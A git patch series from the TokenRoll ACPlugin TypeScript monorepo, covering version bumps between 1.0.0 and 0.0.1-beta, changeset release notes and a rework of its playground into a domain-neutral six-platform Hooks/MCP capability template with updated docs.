Framework and CLI + +- Rebuild `@tokenroll/acplugin` as an ESM-only CLI and public framework SDK for Node 20 and later. +- Route `validate`, `inspect`, `build`, `dev`, and programmatic `runProject()` through one fixed Core lifecycle. +- Require explicitly installed and configured Platform instances instead of bundling or re-exporting official integrations from the main package. +- Add typed configuration, project initialization, deterministic reports, resilient dev watching, and an isolated lazy-loaded Migration subsystem. +- Preserve complete managed output through owner-aware Artifacts, candidate validation, transactional replacement, reverse `buildEnd`, and rollback. + +### First-class Platform packages + +- Publish Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi as six independent `@tokenroll/acplugin-platform-*` packages. +- Make each Platform depend only on the public `@tokenroll/acplugin` peer SDK and own its conversion, Documents, DeliveryUnits, compatibility reporting, distributions, and final validation. +- Support native resources where the target permits them and report every transform, degradation, omission, and unsupported capability explicitly. + +### Hooks and MCP Extensions + +- Publish `@tokenroll/acplugin-extension-hooks` with a platform-neutral author API, bounded semantic runner, single-build handler bundles, and six Platform adapters. +- Publish `@tokenroll/acplugin-extension-mcp` with portable HTTP and local stdio definitions, environment-name Secret references, license output, and real `initialize`/`tools/list` protocol smoke. +- Keep Extension contributions add-only and owner-isolated; conflicting Document owners or Artifact targets fail before output commit. + +### Determinism, safety, and release verification + +- Use locale-independent ordering and stable JSON/YAML/Markdown serialization across Components, Artifacts, diagnostics, reports, and Migration output. +- Reject unsafe output paths, symlinks, invalid modes, source-root escapes, case-insensitive collisions, and Unicode-normalization collisions. +- Prevent timestamps, temporary or absolute paths, raw errors, environment values, and credentials from entering stable output. +- Validate all nine packed public packages with publint, type-resolution checks, peer-range rewriting, ESM module-boundary inspection, third-party Platform interoperability, and clean-consumer builds. +- Add repository-level TypeScript 7, Vitest, lint, comment coverage, Node 20 consumer, and read-only verification workflows without enabling automatic npm publishing, tags, or GitHub Releases. + +Documentation, generated TypeDoc API references, package READMEs, and the repository Playground now describe and exercise the same independent Platform/Extension package boundaries. diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index cbe04cb..95f50dd 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -10,7 +10,7 @@ - MCP packaging: the official Extension publishes a lightweight `index.mjs` and a lazy local-stdio `bundler.mjs`; the main package has no optional Extension/Rolldown runtime dependency. The isolated Migration lazy chunk bundles only the official integrations needed to validate generated projects. - Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. - Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. -- Validation: lint, TypeScript 7 typecheck, package and cross-package Vitest suites, build, ATTW/publint, and `release:verify` passed for nine 1.0.0 tarballs; clean consumers covered all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. +- Validation: lint, TypeScript 7 typecheck, package and cross-package Vitest suites, build, ATTW/publint, `release:verify`, and `docs:check` pass for the `0.0.1-beta` workspace. Nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. ```text pnpm run check diff --git a/package.json b/package.json index 58ad0d5..ab9e1b8 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "acplugin-workspace", - "version": "0.0.0", + "version": "0.0.1-beta", "private": true, "type": "module", "packageManager": "pnpm@10.34.5", diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index 04dce49..4650dbd 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Canonical AI Plugin framework and CLI.", "type": "module", "license": "MIT", diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts index af41e35..ace3e40 100644 --- a/packages/acplugin/src/index.ts +++ b/packages/acplugin/src/index.ts @@ -105,7 +105,7 @@ export { initializeProject } from './init.js'; export type { InitOptions, InitPlatformId, InitResult } from './init.js'; /** 当前 CLI 与公开运行时 API 的版本号。 */ -export const ACPLUGIN_VERSION = '1.0.0'; +export const ACPLUGIN_VERSION = '0.0.1-beta'; /** * 为 `acplugin.config.ts` 提供类型推断友好的恒等辅助函数。 diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts index 70386ce..7bdc07f 100644 --- a/packages/acplugin/src/init.ts +++ b/packages/acplugin/src/init.ts @@ -170,16 +170,16 @@ export default defineConfig({ function packageSource(name: string, platforms: readonly InitPlatformId[], hooks: boolean, mcp: boolean): string { /** 根据 Extension 选择动态扩展的开发依赖映射。 */ const devDependencies: Record = { - '@tokenroll/acplugin': '^1.0.0', + '@tokenroll/acplugin': '^0.0.1-beta', '@types/node': '^20.19.0', 'typescript': '^7.0.2', }; for (const platform of platforms) - devDependencies[PLATFORM_PACKAGES[platform].packageName] = '^1.0.0'; + devDependencies[PLATFORM_PACKAGES[platform].packageName] = '^0.0.1-beta'; if (hooks) - devDependencies['@tokenroll/acplugin-extension-hooks'] = '^1.0.0'; + devDependencies['@tokenroll/acplugin-extension-hooks'] = '^0.0.1-beta'; if (mcp) - devDependencies['@tokenroll/acplugin-extension-mcp'] = '^1.0.0'; + devDependencies['@tokenroll/acplugin-extension-mcp'] = '^0.0.1-beta'; return `${JSON.stringify({ name, version: '0.1.0', diff --git a/packages/acplugin/src/migration/index.ts b/packages/acplugin/src/migration/index.ts index 76dda4e..9e1f3e2 100644 --- a/packages/acplugin/src/migration/index.ts +++ b/packages/acplugin/src/migration/index.ts @@ -1578,13 +1578,13 @@ async function writeCanonicalProject( await copyText(path.join(outputRoot, 'acplugin.config.ts'), `${imports.join('\n')}\n\n${configLines.join('\n')}\n`); /** 新工程基础开发依赖及按需追加的官方 MCP Extension。 */ const devDependencies: Record = { - '@tokenroll/acplugin': '^1.0.0', - '@tokenroll/acplugin-platform-claude-code': '^1.0.0', + '@tokenroll/acplugin': '^0.0.1-beta', + '@tokenroll/acplugin-platform-claude-code': '^0.0.1-beta', 'typescript': '^7.0.2', '@types/node': '^20.19.0', }; if (usesMcp) - devDependencies['@tokenroll/acplugin-extension-mcp'] = '^1.0.0'; + devDependencies['@tokenroll/acplugin-extension-mcp'] = '^0.0.1-beta'; await copyText(path.join(outputRoot, 'package.json'), stableJson({ name: metadata.name, version: metadata.version, diff --git a/packages/core/package.json b/packages/core/package.json index 70b2a55..fb66d88 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -1,6 +1,6 @@ { "name": "@acplugin/core", - "version": "0.0.0", + "version": "0.0.1-beta", "private": true, "type": "module", "engines": { diff --git a/packages/docs/ecosystem/package-and-peer-boundaries.md b/packages/docs/ecosystem/package-and-peer-boundaries.md index 66c8086..95f66de 100644 --- a/packages/docs/ecosystem/package-and-peer-boundaries.md +++ b/packages/docs/ecosystem/package-and-peer-boundaries.md @@ -14,10 +14,10 @@ } }, "peerDependencies": { - "@tokenroll/acplugin": "^1.0.0" + "@tokenroll/acplugin": "^0.0.1-beta" }, "devDependencies": { - "@tokenroll/acplugin": "^1.0.0" + "@tokenroll/acplugin": "^0.0.1-beta" } } ``` diff --git a/packages/docs/package.json b/packages/docs/package.json index f8e155c..e7b96dc 100644 --- a/packages/docs/package.json +++ b/packages/docs/package.json @@ -1,6 +1,6 @@ { "name": "@acplugin/docs", - "version": "0.0.0", + "version": "0.0.1-beta", "private": true, "type": "module", "engines": { diff --git a/packages/extensions/hooks/package.json b/packages/extensions/hooks/package.json index 2e46591..f135eca 100644 --- a/packages/extensions/hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-extension-hooks", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Portable hook authoring and platform adapters for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/extensions/mcp/package.json b/packages/extensions/mcp/package.json index 8eeef69..19ef9f1 100644 --- a/packages/extensions/mcp/package.json +++ b/packages/extensions/mcp/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-extension-mcp", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Portable MCP authoring and platform adapters for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/antigravity/package.json b/packages/platforms/antigravity/package.json index 013e7c7..d718320 100644 --- a/packages/platforms/antigravity/package.json +++ b/packages/platforms/antigravity/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-antigravity", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Antigravity Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/claude-code/package.json b/packages/platforms/claude-code/package.json index f014d4d..f63d214 100644 --- a/packages/platforms/claude-code/package.json +++ b/packages/platforms/claude-code/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-claude-code", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Claude Code Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json index 2ac82a3..ca0845b 100644 --- a/packages/platforms/codex/package.json +++ b/packages/platforms/codex/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-codex", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Codex Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/cursor/package.json b/packages/platforms/cursor/package.json index 1a5d51a..fc76648 100644 --- a/packages/platforms/cursor/package.json +++ b/packages/platforms/cursor/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-cursor", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Cursor Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/opencode/package.json b/packages/platforms/opencode/package.json index 38e8f7c..987ddbf 100644 --- a/packages/platforms/opencode/package.json +++ b/packages/platforms/opencode/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-opencode", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "OpenCode Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/platforms/pi/package.json b/packages/platforms/pi/package.json index e522cf5..302a425 100644 --- a/packages/platforms/pi/package.json +++ b/packages/platforms/pi/package.json @@ -1,6 +1,6 @@ { "name": "@tokenroll/acplugin-platform-pi", - "version": "1.0.0", + "version": "0.0.1-beta", "description": "Pi Platform adapter for acplugin.", "type": "module", "license": "MIT", diff --git a/packages/playground/package.json b/packages/playground/package.json index 2e77429..2ffa261 100644 --- a/packages/playground/package.json +++ b/packages/playground/package.json @@ -1,6 +1,6 @@ { "name": "@acplugin/playground", - "version": "0.0.0", + "version": "0.0.1-beta", "private": true, "type": "module", "engines": { diff --git a/packages/test/package.json b/packages/test/package.json index c4b4aaf..5e7875d 100644 --- a/packages/test/package.json +++ b/packages/test/package.json @@ -1,6 +1,6 @@ { "name": "@acplugin/test", - "version": "0.0.0", + "version": "0.0.1-beta", "private": true, "type": "module", "engines": { "node": ">=20" }, diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index ae5f237..1a31041 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -32,8 +32,8 @@ describe('init', () => { expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ engines: { node: '^20.19.0 || ^22.13.0 || >=23.5.0' }, devDependencies: { - '@tokenroll/acplugin-platform-claude-code': '^1.0.0', - '@tokenroll/acplugin-platform-codex': '^1.0.0', + '@tokenroll/acplugin-platform-claude-code': '^0.0.1-beta', + '@tokenroll/acplugin-platform-codex': '^0.0.1-beta', 'typescript': '^7.0.2', }, }); diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts index f91102e..7d4a3ba 100644 --- a/packages/test/test/migration.test.ts +++ b/packages/test/test/migration.test.ts @@ -657,7 +657,7 @@ Review code. expect(descriptor).toContain('from \'@tokenroll/acplugin-extension-mcp\''); expect(descriptor).toContain('"env":"DOCS_TOKEN"'); expect(descriptor).toContain('"env": "TENANT_ID"'); - expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']).toBe('^1.0.0'); + expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']).toBe('^0.0.1-beta'); await expect(fs.access(path.join(root, 'migrated/node_modules'))).rejects.toThrow(); }); }); diff --git a/packages/test/test/package-boundaries.test.ts b/packages/test/test/package-boundaries.test.ts index 55a7219..7f35ddc 100644 --- a/packages/test/test/package-boundaries.test.ts +++ b/packages/test/test/package-boundaries.test.ts @@ -24,6 +24,9 @@ const publicManifests = [ 'packages/extensions/mcp/package.json', ] as const; +/** 递归检查时不属于源码或 Workspace 拓扑的依赖与可重建输出目录。 */ +const ignoredGeneratedDirectories = new Set(['.vitepress', 'api', 'dist', 'node_modules']); + /** * 递归读取目录中满足后缀要求的全部文件。 * @@ -38,7 +41,7 @@ async function filesWithSuffixes(directory: string, suffixes: readonly string[]) const files: string[] = []; /** entry 表示当前排序后的目录项,用于递归收集目标后缀。 */ for (const entry of entries.sort((left, right) => left.name.localeCompare(right.name, 'en'))) { - if (entry.name === 'node_modules') + if (entry.isDirectory() && ignoredGeneratedDirectories.has(entry.name)) continue; /** 当前目录项的绝对路径。 */ const candidate = path.join(directory, entry.name); diff --git a/packages/test/test/workspace-layout.test.ts b/packages/test/test/workspace-layout.test.ts index ce18a62..7bdc0f6 100644 --- a/packages/test/test/workspace-layout.test.ts +++ b/packages/test/test/workspace-layout.test.ts @@ -53,7 +53,7 @@ describe('final workspace skeleton', () => { expect(manifests.map(manifest => manifest.name)).toEqual(platformPackages.map(([, name]) => name)); expect(manifests.every(manifest => manifest.private !== true)).toBe(true); - expect(manifests.every(manifest => manifest.version === '1.0.0')).toBe(true); + expect(manifests.every(manifest => manifest.version === '0.0.1-beta')).toBe(true); expect(manifests.every(manifest => manifest.peerDependencies?.['@tokenroll/acplugin'] === 'workspace:^')).toBe(true); expect(manifests.every(manifest => manifest.dependencies?.['@acplugin/core'] === undefined)).toBe(true); }); From c01a4c566f0e3a7cfb185b8a91d44c52302f75cd Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Mon, 10 Aug 2026 12:36:44 +0800 Subject: [PATCH 19/27] feat: promote TokenRoll ACPlugin to stable 1.0.0 release with updated versioning and validation details --- .changeset/initial-1-0-baseline.md | 22 +++++++++++----------- llmdoc/state/sync.md | 1 + 2 files changed, 12 insertions(+), 11 deletions(-) diff --git a/.changeset/initial-1-0-baseline.md b/.changeset/initial-1-0-baseline.md index d3aa1d2..472f76f 100644 --- a/.changeset/initial-1-0-baseline.md +++ b/.changeset/initial-1-0-baseline.md @@ -1,18 +1,18 @@ --- -"@tokenroll/acplugin": patch -"@tokenroll/acplugin-platform-claude-code": patch -"@tokenroll/acplugin-platform-codex": patch -"@tokenroll/acplugin-platform-cursor": patch -"@tokenroll/acplugin-platform-antigravity": patch -"@tokenroll/acplugin-platform-opencode": patch -"@tokenroll/acplugin-platform-pi": patch -"@tokenroll/acplugin-extension-hooks": patch -"@tokenroll/acplugin-extension-mcp": patch +"@tokenroll/acplugin": major +"@tokenroll/acplugin-platform-claude-code": major +"@tokenroll/acplugin-platform-codex": major +"@tokenroll/acplugin-platform-cursor": major +"@tokenroll/acplugin-platform-antigravity": major +"@tokenroll/acplugin-platform-opencode": major +"@tokenroll/acplugin-platform-pi": major +"@tokenroll/acplugin-extension-hooks": major +"@tokenroll/acplugin-extension-mcp": major --- -Promote the complete TokenRoll ACPlugin beta package ecosystem to the stable `0.0.1` release. +Promote the complete TokenRoll ACPlugin beta package ecosystem to the stable `1.0.0` release after its validation and real-world usage period. -This release establishes the new `@tokenroll/*` package line after the coordinated `0.0.1-beta` cohort. It is not a patch-compatible continuation of the legacy `@disdjj/acplugin` converter. +This release establishes the new `@tokenroll/*` package line after the coordinated `0.0.1-beta` cohort has passed all quality gates, sustained representative project usage, and resolved every release-blocking issue. It is not a compatible continuation of the legacy `@disdjj/acplugin` converter. ### Framework and CLI diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 95f50dd..32792a7 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -11,6 +11,7 @@ - Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. - Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. - Validation: lint, TypeScript 7 typecheck, package and cross-package Vitest suites, build, ATTW/publint, `release:verify`, and `docs:check` pass for the `0.0.1-beta` workspace. Nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. +- Release phase: `0.0.1-beta` remains a validation and real-world usage cohort. The nine public packages advance directly to stable `1.0.0` only after the agreed observation period completes without unresolved release blockers and the full release-readiness matrix is rerun. ```text pnpm run check From 186ab15b09182faddf9514827ef3fa3c463b5022 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Mon, 10 Aug 2026 13:31:41 +0800 Subject: [PATCH 20/27] =?UTF-8?q?feat:=20=E6=9B=B4=E6=96=B0=E6=A8=A1?= =?UTF-8?q?=E7=89=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- AGENTS.md | 2 +- README.md | 2 +- README.zh-CN.md | 2 +- llmdoc/architecture/system.md | 2 +- llmdoc/architecture/system.zh-CN.md | 2 +- llmdoc/guides/package-code-tour.zh-CN.md | 19 +- llmdoc/overview/project.md | 2 +- llmdoc/overview/project.zh-CN.md | 2 +- llmdoc/state/sync.md | 3 +- package.json | 2 +- packages/docs/.vitepress/config.mts | 2 +- .../docs/playground/capability-template.md | 54 ++ packages/docs/playground/index.md | 4 +- packages/docs/playground/llmdoc-v3.md | 43 - packages/docs/resources/package-map.md | 2 +- packages/extensions/hooks/src/bundler.ts | 35 +- packages/extensions/hooks/test/hooks.test.ts | 33 + packages/playground/README.md | 30 +- packages/playground/acplugin.config.ts | 76 +- packages/playground/package.json | 5 + .../playground/public/assets/acplugin.svg | 4 + .../public/resources/templates/document.md | 14 +- .../public/resources/templates/domain.md | 6 +- .../resources/templates/reflection-case.md | 12 +- packages/playground/public/runtime/README.md | 4 +- packages/playground/public/schemas/README.md | 4 +- packages/playground/public/upgrade/README.md | 4 +- .../playground/src/agents/investigator.md | 4 +- packages/playground/src/agents/recorder.md | 4 +- packages/playground/src/agents/reflector.md | 4 +- packages/playground/src/commands/init.md | 24 +- packages/playground/src/commands/prune.md | 6 +- packages/playground/src/commands/update.md | 6 +- packages/playground/src/commands/upgrade.md | 6 +- .../src/hooks/permission-request/hook.ts | 13 + .../playground/src/hooks/post-compact/hook.ts | 13 + .../src/hooks/post-tool-use/hook.ts | 14 + .../playground/src/hooks/pre-compact/hook.ts | 9 +- .../playground/src/hooks/pre-tool-use/hook.ts | 24 + .../playground/src/hooks/session-end/hook.ts | 10 + .../src/hooks/session-start/hook.ts | 14 +- packages/playground/src/hooks/stop/hook.ts | 11 +- .../src/hooks/subagent-start/hook.ts | 13 + .../src/hooks/subagent-stop/hook.ts | 13 + .../src/hooks/user-prompt-submit/hook.ts | 14 + .../playground/src/mcp/local-tools/mcp.ts | 11 + .../playground/src/mcp/local-tools/server.ts | 92 ++ packages/playground/src/mcp/oauth-docs/mcp.ts | 11 + .../playground/src/mcp/protected-docs/mcp.ts | 12 + .../playground/src/mcp/public-docs/mcp.ts | 8 + .../playground/src/skills/llmdoc/SKILL.md | 26 - .../llmdoc/references/compact-continuation.md | 5 - .../src/skills/llmdoc/references/frontier.md | 5 - .../llmdoc/references/reflection-promotion.md | 5 - .../skills/llmdoc/references/transaction.md | 5 - .../src/skills/project-workflow/SKILL.md | 44 + .../project-workflow/assets/icon-large.svg | 5 + .../project-workflow/assets/icon-small.svg | 5 + .../references/context-continuation.md | 5 + .../project-workflow/references/planning.md | 5 + .../project-workflow/references/review.md | 5 + .../references/verification.md | 5 + pnpm-lock.yaml | 15 + scripts/comment-coverage.json | 13 + scripts/verify-playground.mjs | 869 ++++++++++++++++-- 65 files changed, 1477 insertions(+), 246 deletions(-) create mode 100644 packages/docs/playground/capability-template.md delete mode 100644 packages/docs/playground/llmdoc-v3.md create mode 100644 packages/playground/public/assets/acplugin.svg create mode 100644 packages/playground/src/hooks/permission-request/hook.ts create mode 100644 packages/playground/src/hooks/post-compact/hook.ts create mode 100644 packages/playground/src/hooks/post-tool-use/hook.ts create mode 100644 packages/playground/src/hooks/pre-tool-use/hook.ts create mode 100644 packages/playground/src/hooks/session-end/hook.ts create mode 100644 packages/playground/src/hooks/subagent-start/hook.ts create mode 100644 packages/playground/src/hooks/subagent-stop/hook.ts create mode 100644 packages/playground/src/hooks/user-prompt-submit/hook.ts create mode 100644 packages/playground/src/mcp/local-tools/mcp.ts create mode 100644 packages/playground/src/mcp/local-tools/server.ts create mode 100644 packages/playground/src/mcp/oauth-docs/mcp.ts create mode 100644 packages/playground/src/mcp/protected-docs/mcp.ts create mode 100644 packages/playground/src/mcp/public-docs/mcp.ts delete mode 100644 packages/playground/src/skills/llmdoc/SKILL.md delete mode 100644 packages/playground/src/skills/llmdoc/references/compact-continuation.md delete mode 100644 packages/playground/src/skills/llmdoc/references/frontier.md delete mode 100644 packages/playground/src/skills/llmdoc/references/reflection-promotion.md delete mode 100644 packages/playground/src/skills/llmdoc/references/transaction.md create mode 100644 packages/playground/src/skills/project-workflow/SKILL.md create mode 100644 packages/playground/src/skills/project-workflow/assets/icon-large.svg create mode 100644 packages/playground/src/skills/project-workflow/assets/icon-small.svg create mode 100644 packages/playground/src/skills/project-workflow/references/context-continuation.md create mode 100644 packages/playground/src/skills/project-workflow/references/planning.md create mode 100644 packages/playground/src/skills/project-workflow/references/review.md create mode 100644 packages/playground/src/skills/project-workflow/references/verification.md diff --git a/AGENTS.md b/AGENTS.md index 88540e5..65f76e9 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -37,7 +37,7 @@ packages/ │ └── mcp/ ├── test/ # 私有跨包 Vitest 集成测试 ├── docs/ # 私有 VitePress/TypeDoc 文档工程 -└── playground/ # 私有 llmdoc v3 主题真实消费模板 +└── playground/ # 私有、领域中立的全能力消费模板 ``` `@tokenroll/acplugin` 构建时必须 bundle Core,但不得 bundle 或重新导出官方 Platform/Extension。六个官方 Platform 与 Hooks/MCP Extension 都只能从主包公开 SDK 导入契约,并通过 `workspace:^` peer 开发边连接主包;pack 后必须变为正常 `^x.y.z`。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。 diff --git a/README.md b/README.md index 72271d9..39451de 100644 --- a/README.md +++ b/README.md @@ -360,7 +360,7 @@ Use `--dry-run` for scan/map/validation without destination writes and `--strict The repository includes two private, repository-only workspaces beside the publishable packages: - `packages/docs` is a VitePress site with task-oriented Guide, Config, Platform, Extension, Ecosystem, Playground, and Resource sections. TypeDoc regenerates API pages and the sidebar for all nine public package root entries before every docs dev/build. -- `packages/playground` is a real Claude Code/Codex/Hooks consumer modeled on llmdoc v3. It validates canonical Commands, a Skill with auxiliary references, Agents, no-op Hooks, and Public files. It is a packaging/template smoke, not an llmdoc runtime or conformance suite. +- `packages/playground` is a domain-neutral six-Platform/Hooks/MCP capability template. It validates canonical Commands, Skill auxiliary files, Agents, all portable Hook events, HTTP and local MCP, Public files, and Claude Code/Codex Marketplaces without implementing product-specific behavior. ```bash pnpm run docs:dev # generate API pages, then start VitePress diff --git a/README.zh-CN.md b/README.zh-CN.md index e396525..d5821f8 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -356,7 +356,7 @@ acplugin migrate owner/repository ./new-workspace --all 除公开包外,仓库还包含两个仅供仓库使用的私有 workspace: - `packages/docs` 是 VitePress 文档站,按 Guide、Config、Platform、Extension、Ecosystem、Playground 和 Resources 组织内容。每次启动或构建文档前,TypeDoc 都会为九个公开 package 根入口重新生成 API 页面和 sidebar。 -- `packages/playground` 是一个以 llmdoc v3 为主题、真实构建 Claude Code/Codex/Hooks 的消费工程。它验证规范 Commands、带辅助引用的 Skill、Agents、no-op Hooks 和 Public 文件;定位是 packaging/template smoke,不是 llmdoc runtime 或 conformance suite。 +- `packages/playground` 是一个领域中立的六平台/Hooks/MCP 全能力模板。它验证规范 Commands、带辅助资源的 Skill、Agents、全部 portable Hook 事件、HTTP 与本地 MCP、Public 文件和 Claude Code/Codex Marketplace,不实现特定产品业务。 ```bash pnpm run docs:dev # 生成 API 页面并启动 VitePress diff --git a/llmdoc/architecture/system.md b/llmdoc/architecture/system.md index 195b1bd..168dbb7 100644 --- a/llmdoc/architecture/system.md +++ b/llmdoc/architecture/system.md @@ -99,4 +99,4 @@ The normal facade and CLI startup do not import `migration/`. The packed main ta `packages/docs/` is a private VitePress workspace. TypeDoc scans only the root public entry point of each of the nine public packages, generates Markdown and the API sidebar into an ignored directory, and then VitePress builds the task-oriented manual without remote content, timestamps, or deployment side effects. -`packages/playground/` is a private real consumer that explicitly imports the main package, Claude Code/Codex Platforms, and Hooks Extension. It exercises Components, Skill auxiliary files, Hooks, Public files, compatibility propagation, and managed output. Its llmdoc v3 content is intentionally a template smoke: runtime state, incremental update/cache, Schema, Migration, and MCP behavior remain non-goals. Neither private workspace is a dependency of a public package or part of release tarballs. +`packages/playground/` is a private real consumer that explicitly imports the main package, all six official Platforms, and the Hooks/MCP Extensions. It exercises Components, Skill auxiliary files, every portable Hook event, HTTP/local MCP, Public files, Marketplaces, compatibility propagation, and managed output. Its content stays domain-neutral and demonstrates protocol and delivery capabilities without implementing product-specific behavior. Neither private workspace is a dependency of a public package or part of release tarballs. diff --git a/llmdoc/architecture/system.zh-CN.md b/llmdoc/architecture/system.zh-CN.md index 3aa01f8..c3c9eba 100644 --- a/llmdoc/architecture/system.zh-CN.md +++ b/llmdoc/architecture/system.zh-CN.md @@ -99,4 +99,4 @@ Extension build context 以 `addWatchFile()` 作为唯一依赖登记边界。 `packages/docs/` 是私有 VitePress workspace。TypeDoc 只扫描九个公开 package 的根公开入口,把 Markdown 与 API sidebar 生成到 ignored 目录;VitePress 随后构建按任务组织的手写文档,不读取远程内容、不注入时间,也不执行部署副作用。 -`packages/playground/` 是私有的真实消费者,显式导入主包、Claude Code/Codex Platform 和 Hooks Extension。它覆盖 Components、Skill auxiliary、Hooks、Public 文件、兼容性传播与受管输出。其 llmdoc v3 内容仅为模板 smoke;runtime 状态、增量更新/缓存、Schema、Migration 和 MCP 行为仍是非目标。两个私有 workspace 都不会成为公开包依赖,也不进入发行 tarball。 +`packages/playground/` 是私有的真实消费者,显式导入主包、六个官方 Platform 和 Hooks/MCP Extension。它覆盖 Components、Skill auxiliary、全部 portable Hook 事件、HTTP/local MCP、Public 文件、Marketplace、兼容性传播与受管输出。内容保持领域中立,只提供协议和交付能力模板,不实现特定产品业务。两个私有 workspace 都不会成为公开包依赖,也不进入发行 tarball。 diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index 4d204d3..fee35dd 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -20,7 +20,7 @@ | `packages/extensions/mcp` | `@tokenroll/acplugin-extension-mcp` | 公开 | HTTP/stdio MCP 作者协议、stdio Bundle/smoke、六平台 Adapter | | `packages/test` | `@acplugin/test` | 私有 | 跨包、CLI、Migration、架构和发布边界集成测试 | | `packages/docs` | `@acplugin/docs` | 私有 | VitePress 手写文档、九公开包 TypeDoc API 与导航生成 | -| `packages/playground` | `@acplugin/playground` | 私有 | llmdoc v3 主题真实消费工程与 packaging/template smoke | +| `packages/playground` | `@acplugin/playground` | 私有 | 领域中立的全能力消费工程与 packaging/template smoke | 依赖方向是刻意收窄的: @@ -776,18 +776,19 @@ TypeDoc 因旧 Compiler API 兼容性在此 workspace 使用 TypeScript 6;正 ### 15.2 Playground 的内容、架构与数据流 -[acplugin.config.ts](../../packages/playground/acplugin.config.ts)显式装配主包、Claude Code、Codex 和 Hooks。工程包含四个 Command、一个带四个 auxiliary reference 的 llmdoc Skill、三个 Agent、三个 no-op Hook,以及 runtime/schema/upgrade 边界和四个 Public 模板。 +[acplugin.config.ts](../../packages/playground/acplugin.config.ts)显式装配主包、六个 Platform、Hooks 和 MCP。工程包含四个 Command、一个带 references/icons auxiliary 的 `project-workflow` Skill、三个 Agent、全部 11 个 portable Hook、四类 MCP 定义,以及 runtime/schema/upgrade 静态资源和 Public 模板。 ```text -canonical llmdoc-v3-themed authoring files +domain-neutral capability authoring files → real public package imports → acplugin validate --json -→ exact Codex degradation whitelist -→ verify Skill auxiliary / Hook wire / Public artifacts -→ real managed build for Claude Code + Codex +→ exact six-Platform compatibility whitelist +→ real managed build for six primary units + two Marketplaces +→ verify Artifact registry / Component content / Hook wire / MCP protocol +→ secret scan + repeated-build byte/mode snapshot ``` -配置使用 `strict: false` 只接受 Codex Agent fallback 及其依赖传播;[verify-playground.mjs](../../scripts/verify-playground.mjs)按结构化 subject/capability 精确列出允许降级,并拒绝其他诊断和所有 unsupported。Playground 只验证 packaging/template 边界,不实现 llmdoc runtime、增量更新、缓存、Schema、Migration 或 MCP。 +配置使用 `strict: false` 观察六个平台的真实能力差异;[verify-playground.mjs](../../scripts/verify-playground.mjs)精确列出允许的 degradation/unsupported,并要求不支持项没有伪 Artifact。验证器执行全部受支持 Hook handler/wire、三个 local MCP bundle 的 initialize/tools-list/tools-call、Marketplace 字节继承、Secret 扫描和双构建确定性。Playground 只提供领域中立的能力示例,不实现具体产品业务。 